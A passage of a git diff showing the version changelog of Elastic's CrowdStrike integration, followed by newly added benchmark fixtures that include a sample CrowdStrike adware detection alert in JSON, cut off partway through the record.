+      link: https://github.com/elastic/integrations/pull/12781
+- version: "1.51.0"
+  changes:
+    - description: Update Kibana constraint to support 9.0.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12593
+- version: "1.50.0"
+  changes:
+    - description: Allow the usage of deprecated log input and support for stack 9.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12503
+- version: "1.49.1"
+  changes:
+    - description: Fix network direction handling for FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12508
+    - description: Handle invalid IP addresses robustly.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/12508
+- version: "1.49.0"
+  changes:
+    - description: Add "preserve_original_event" tag to documents with `event.kind` manually set to "pipeline_error".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12109
+- version: "1.48.0"
+  changes:
+    - description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/12046
+- version: "1.47.0"
+  changes:
+    - description: Add Support of CrowdStrike Event Stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11773
+- version: "1.46.0"
+  changes:
+    - description: Extract user and host names from the name field.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11804
+    - description: Correct use of `related.hash` to `related.hosts`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11804
+- version: "1.45.1"
+  changes:
+    - description: Use host.name in `Top Related Hosts` visualisation in Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+    - description: Use host.name field for `Hostname` control in Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+    - description: Remove unused field control `observer.address` from Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+    - description: Add `Severity` name to control using `crowdstrike.event.SeverityName` in Falcon Overview dashboard.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11739
+- version: "1.45.0"
+  changes:
+    - description: Add support for FQL queries in `alert` and `host` data streams.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11734
+- version: "1.44.0"
+  changes:
+    - description: Map additional fields observed in alert data.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11724
+- version: "1.43.0"
+  changes:
+    - description: Recover Crowdstrike-deprecated field values for `is_synthetic_quarantine_disposition`, `has_script_or_module_ioc` and `ioc_values`.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11282
+- version: "1.42.2"
+  changes:
+    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11314
+- version: "1.42.1"
+  changes:
+    - description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11284
+- version: "1.42.0"
+  changes:
+    - description: Add support of IDP and EPP alert fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11135
+- version: "1.41.1"
+  changes:
+    - description: Re-add ECS field definitions to enable fieldless search for kibana versions before v8.14.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11147
+- version: "1.41.0"
+  changes:
+    - description: Map `crowdstrike.CommandHistory`, `crowdstrike.ParentCommandLine` and `crowdstrike.GrandparentCommandLine` as multi-fields with `match_only_text`.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/11012
+- version: "1.40.1"
+  changes:
+    - description: Fix mapping for assessment events.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11023
+    - description: Fix handling of cases where AIP is present but empty.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11023
+- version: "1.40.0"
+  changes:
+    - description: "Allow @custom pipeline access to event.original without setting preserve_original_event."
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10897
+- version: "1.39.3"
+  changes:
+    - description: Fix handling of event.created and timestamp fields for FDR events.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10862
+- version: "1.39.2"
+  changes:
+    - description: Fix cursor timestamp handling.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10694
+- version: "1.39.1"
+  changes:
+    - description: Return empty `events` array when no resources in alert, host.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10831
+- version: "1.39.0"
+  changes:
+    - description: Improve document deduplication behavior.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10567
+- version: "1.38.0"
+  changes:
+    - description: Improve error reporting for API request failures.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10346
+- version: "1.37.1"
+  changes:
+    - description: Fix threat.framework when prefix is `CS`.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/10256
+- version: "1.37.0"
+  changes:
+    - description: Removed import_mappings. Update the kibana constraint to ^8.13.0. Modified the field definitions to remove ECS fields made redundant by the ecs@mappings component template.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10135
+- version: "1.36.0"
+  changes:
+    - description: Add `device.id` field.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10124
+- version: "1.35.0"
+  changes:
+    - description: Make `host.ip` field conform to ECS field definition.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/10120
+- version: "1.34.3"
+  changes:
+    - description: Fix handling of empty responses in CEL.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9972
+- version: "1.34.2"
+  changes:
+    - description: Resolved ignore_malformed issues with fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9832
+- version: "1.34.1"
+  changes:
+    - description: Improve error handling for renaming processors.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9816
+- version: "1.34.0"
+  changes:
+    - description: Update manifest format version to v3.0.3.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9536
+- version: "1.33.0"
+  changes:
+    - description: Refactor alert and host collectors and improve error handling.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9716
+- version: "1.32.2"
+  changes:
+    - description: Fix geoip mapping to destination.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9738
+- version: "1.32.1"
+  changes:
+    - description: Fix cache option name in FDR data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9436
+- version: "1.32.0"
+  changes:
+    - description: Set sensitive value as secret in cel input.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9238
+- version: "1.31.0"
+  changes:
+    - description: Add support for Alert and Host API endpoints.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8790
+- version: "1.30.0"
+  changes:
+    - description: Set sensitive values as secret.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8725
+- version: "1.29.0"
+  changes:
+    - description: Expose FDR cache options for more flexibility
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/9063
+- version: "1.28.3"
+  changes:
+    - description: Fix drive letter parsing.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9119
+- version: "1.28.2"
+  changes:
+    - description: Add missing type mapping for host fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/9030
+- version: "1.28.1"
+  changes:
+    - description: Changed owners
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8943
+- version: "1.28.0"
+  changes:
+    - description: Enrich events with userinfo user details fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8742
+    - description: Map host and user metatdata to ECS fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8742
+- version: "1.27.0"
+  changes:
+    - description: Allow aidmaster metadata to be retained after host enrichment.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8715
+- version: "1.26.2"
+  changes:
+    - description: Do not populate `related.hosts` with IP values.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8684
+- version: "1.26.1"
+  changes:
+    - description: Fix exclude_files pattern.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8635
+- version: "1.26.0"
+  changes:
+    - description: Enrich events with aidmaster host details fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8474
+- version: 1.25.1
+  changes:
+    - description: Add new events.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8498
+- version: 1.25.0
+  changes:
+    - description: Add new dashboards for Crowdstrike and Crowdstrike Falcon
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8478
+- version: 1.24.0
+  changes:
+    - description: ECS version updated to 8.11.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8433
+- version: "1.23.1"
+  changes:
+    - description: Prefer ImageFileName for the value of process.executable.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8322
+- version: "1.23.0"
+  changes:
+    - description: Improve 'event.original' check to avoid errors if set.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8269
+- version: "1.22.1"
+  changes:
+    - description: Fix field mapping for LMHostIDs
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/8115
+- version: 1.22.0
+  changes:
+    - description: Update the package format_version to 3.0.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/8025
+- version: 1.21.0
+  changes:
+    - description: Correct invalid ECS field usages at root-level.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7968
+- version: 1.20.0
+  changes:
+    - description: ECS version updated to 8.10.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7905
+- version: "1.19.0"
+  changes:
+    - description: Add tags.yml file so that integration's dashboards and saved searches are tagged with "Security Solution" and displayed in the Security Solution UI.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7789
+- version: "1.18.3"
+  changes:
+    - description: Convert Win32 timestamps to unix millisecond timestamps.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7734
+- version: "1.18.2"
+  changes:
+    - description: Fixed event tag handling for the falcon data-stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7625
+- version: "1.18.1"
+  changes:
+    - description: Fixed Windows NT timestamp handling.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7548
+- version: "1.18.0"
+  changes:
+    - description: Update package to ECS 8.9.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/7107
+- version: "1.17.0"
+  changes:
+    - description: Document duration units.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6992
+- version: "1.16.1"
+  changes:
+    - description: Remove confusing error message tag prefix.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/7105
+- version: "1.16.0"
+  changes:
+    - description: Adding new Event types to the Falcon Datastream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6844
+- version: "1.15.0"
+  changes:
+    - description: Overhaul of the Falcon Datastream, adding plenty of new fields and ECS mappings.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6668
+- version: "1.14.0"
+  changes:
+    - description: Ensure event.kind is correctly set for pipeline errors.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6613
+- version: "1.13.0"
+  changes:
+    - description: Update package to ECS 8.8.0 and pkg-spec 2.7.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/6372
+- version: "1.12.1"
+  changes:
+    - description: Fix parsing errors of LocalAddressIP4 field and calculation of process.uptime.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5957
+- version: "1.12.0"
+  changes:
+    - description: Update package to ECS 8.7.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5765
+- version: "1.11.2"
+  changes:
+    - description: Reduce duplicate document ingestion.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5669
+- version: "1.11.1"
+  changes:
+    - description: Multiple IPs in `aip` field and add new fields
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5655
+- version: "1.11.0"
+  changes:
+    - description: Support `max_number_of_messages` in SQS mode
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5595
+- version: "1.10.2"
+  changes:
+    - description: Remove redundant GeoIP look-ups.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/5456
+- version: "1.10.1"
+  changes:
+    - description: Added categories and/or subcategories.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5123
+- version: "1.10.0"
+  changes:
+    - description: Support Windows NT timestamps for ContextTimeStamp, StartTime and EndTime FDR fields.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/5168
+- version: "1.9.0"
+  changes:
+    - description: Update package to ECS 8.6.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4576
+- version: "1.8.2"
+  changes:
+    - description: Fix parse of CommandLine in Falcon pipeline
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4758
+- version: "1.8.1"
+  changes:
+    - description: Fix parse of flattened `process` fields in Falcon data stream.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4709
+- version: "1.8.0"
+  changes:
+    - description: Update package to ECS 8.5.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4285
+- version: "1.7.0"
+  changes:
+    - description: Expose Default Region setting to UI
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4158
+- version: "1.6.1"
+  changes:
+    - description: Use ECS geo.location definition.
+      type: enhancement
+      link: https://github.com/elastic/integrations/issues/4227
+- version: "1.6.0"
+  changes:
+    - description: Parse executable for `process.name` in FDR data stream
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/4133
+- version: "1.5.1"
+  changes:
+    - description: Set default endpoint to empty string
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/4103
+- version: "1.5.0"
+  changes:
+    - description: Update package to ECS 8.4.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3843
+- version: "1.4.2"
+  changes:
+    - description: Fix proxy URL documentation rendering.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3881
+- version: "1.4.1"
+  changes:
+    - description: Update package name and description to align with standard wording
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3478
+- version: "1.4.0"
+  changes:
+    - description: Update package to ECS 8.3.0.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3353
+- version: "1.3.4"
+  changes:
+    - description: Prevent missing `@timestamp` field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3484
+- version: "1.3.3"
+  changes:
+    - description: Optimize FDR pipeline script processor.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3302
+- version: "1.3.2"
+  changes:
+    - description: Format source.mac as per ECS.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/3302
+- version: "1.3.1"
+  changes:
+    - description: Update readme file. Added link to CrowdStrike docs
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3057
+- version: "1.3.0"
+  changes:
+    - description: Update to ECS 8.2
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2779
+- version: "1.2.7"
+  changes:
+    - description: Move invalid field value
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/3098
+- version: "1.2.6"
+  changes:
+    - description: Add documentation for multi-fields
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2916
+- version: "1.2.5"
+  changes:
+    - description: Add date parsing for BiosReleaseDate field.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2867
+- version: "1.2.4"
+  changes:
+    - description: Add missing field mapping for several event and host fields.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2869
+- version: "1.2.3"
+  changes:
+    - description: Change type of 'fdr_parsing_script' variable to 'yaml' so that the multi-line string creates a valid YAML config document.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2701
+- version: "1.2.2"
+  changes:
+    - description: Add Ingest Pipeline script to map IANA Protocol Numbers
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2470
+- version: "1.2.1"
+  changes:
+    - description: Fix issue with "Is FDR Queue" selector having no effect.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2653
+- version: "1.2.0"
+  changes:
+    - description: Update to ECS 8.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2398
+- version: "1.1.2"
+  changes:
+    - description: Regenerate test files using the new GeoIP database
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2339
+- version: "1.1.1"
+  changes:
+    - description: Change test public IPs to the supported subset
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2327
+- version: "1.1.0"
+  changes:
+    - description: Add 8.0.0 version constraint
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2229
+- version: "1.0.4"
+  changes:
+    - description: Add ability to read from both FDR provided and user owned SQS queues for FDR.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2198
+    - description: Pipeline fixes for FDR
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/2198
+- version: "1.0.3"
+  changes:
+    - description: Uniform with guidelines
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/2022
+- version: "1.0.2"
+  changes:
+    - description: Update Title and Description.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1961
+- version: "1.0.1"
+  changes:
+    - description: Fix logic that checks for the 'forwarded' tag
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/1812
+- version: '1.0.0'
+  changes:
+    - description: make GA
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1630
+- version: "0.9.0"
+  changes:
+    - description: Update to ECS 1.12.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1655
+- version: "0.8.1"
+  changes:
+    - description: Add proxy config
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1648
+- version: "0.8.0"
+  changes:
+    - description: Add FDR data stream.
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1522
+    - description: Change Falcon ECS fields definition to use references
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1522
+    - description: Add cleanup processor to Falcon
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1522
+- version: '0.7.1'
+  changes:
+    - description: update to ECS 1.11.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1378
+- version: "0.7.0"
+  changes:
+    - description: Update integration description
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1364
+- version: "0.6.0"
+  changes:
+    - description: Set "event.module" and "event.dataset"
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1258
+- version: "0.5.0"
+  changes:
+    - description: update to ECS 1.10.0 and add event.original options
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/1036
+- version: "0.4.1"
+  changes:
+    - description: update to ECS 1.9.0
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/841
+- version: "0.4.0"
+  changes:
+    - description: Moves edge processing to ingest pipeline
+      type: enhancement
+      link: https://github.com/elastic/integrations/pull/774
+- version: "0.3.1"
+  changes:
+    - description: Change kibana.version constraint to be more conservative.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/749
+- version: "0.1.0"
+  changes:
+    - description: initial release
+      type: enhancement # can be one of: enhancement, bugfix, breaking-change
+      link: https://github.com/elastic/integrations/pull/182
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
new file mode 100644
index 0000000000..30a2b50cf6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
@@ -0,0 +1 @@
+num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
new file mode 100644
index 0000000000..c0e095d6dd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
@@ -0,0 +1,10 @@
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":